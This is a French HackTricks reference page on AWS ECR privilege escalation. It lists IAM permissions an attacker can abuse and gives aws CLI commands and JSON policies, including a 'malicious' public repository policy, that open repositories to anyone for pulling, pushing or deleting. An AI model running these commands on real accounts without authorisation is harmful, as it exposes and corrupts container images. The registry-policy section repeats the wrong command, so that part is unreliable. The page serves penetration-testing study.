AWS - ECR Privesc
Reading time: 4 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
ECR
ecr:GetAuthorizationToken
,ecr:BatchGetImage
Un attaquant avec le ecr:GetAuthorizationToken
et ecr:BatchGetImage
peut se connecter à ECR et télécharger des images.
Pour plus d'infos sur comment télécharger des images :
Impact potentiel : Privesc indirect en interceptant des informations sensibles dans le trafic.
ecr:GetAuthorizationToken
, ecr:BatchCheckLayerAvailability
, ecr:CompleteLayerUpload
, ecr:InitiateLayerUpload
, ecr:PutImage
, ecr:UploadLayerPart
Un attaquant avec toutes ces permissions peut se connecter à ECR et télécharger des images. Cela peut être utile pour élever les privilèges vers d'autres environnements où ces images sont utilisées.
Pour apprendre comment télécharger une nouvelle image/mette à jour une, consultez :
ecr-public:GetAuthorizationToken
, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload
, ecr-public:InitiateLayerUpload, ecr-public:PutImage
, ecr-public:UploadLayerPart
Comme la section précédente, mais pour les dépôts publics.
ecr:SetRepositoryPolicy
Un attaquant avec cette permission pourrait changer la politique du dépôt pour se donner (ou même à tout le monde) un accès en lecture/écriture.
Par exemple, dans cet exemple, l'accès en lecture est accordé à tout le monde.
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
Contenu de my-policy.json
:
{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "allow public pull",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}
ecr-public:SetRepositoryPolicy
Comme la section précédente, mais pour les dépôts publics.
Un attaquant peut modifier la politique du dépôt d'un dépôt ECR Public pour accorder un accès public non autorisé ou pour élever ses privilèges.
bashCopy code# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json
# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
Impact potentiel : Accès public non autorisé au dépôt ECR Public, permettant à tout utilisateur de pousser, tirer ou supprimer des images.
ecr:PutRegistryPolicy
Un attaquant avec cette permission pourrait changer la politique de registre pour se donner, à son compte (ou même à tout le monde) un accès en lecture/écriture.
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.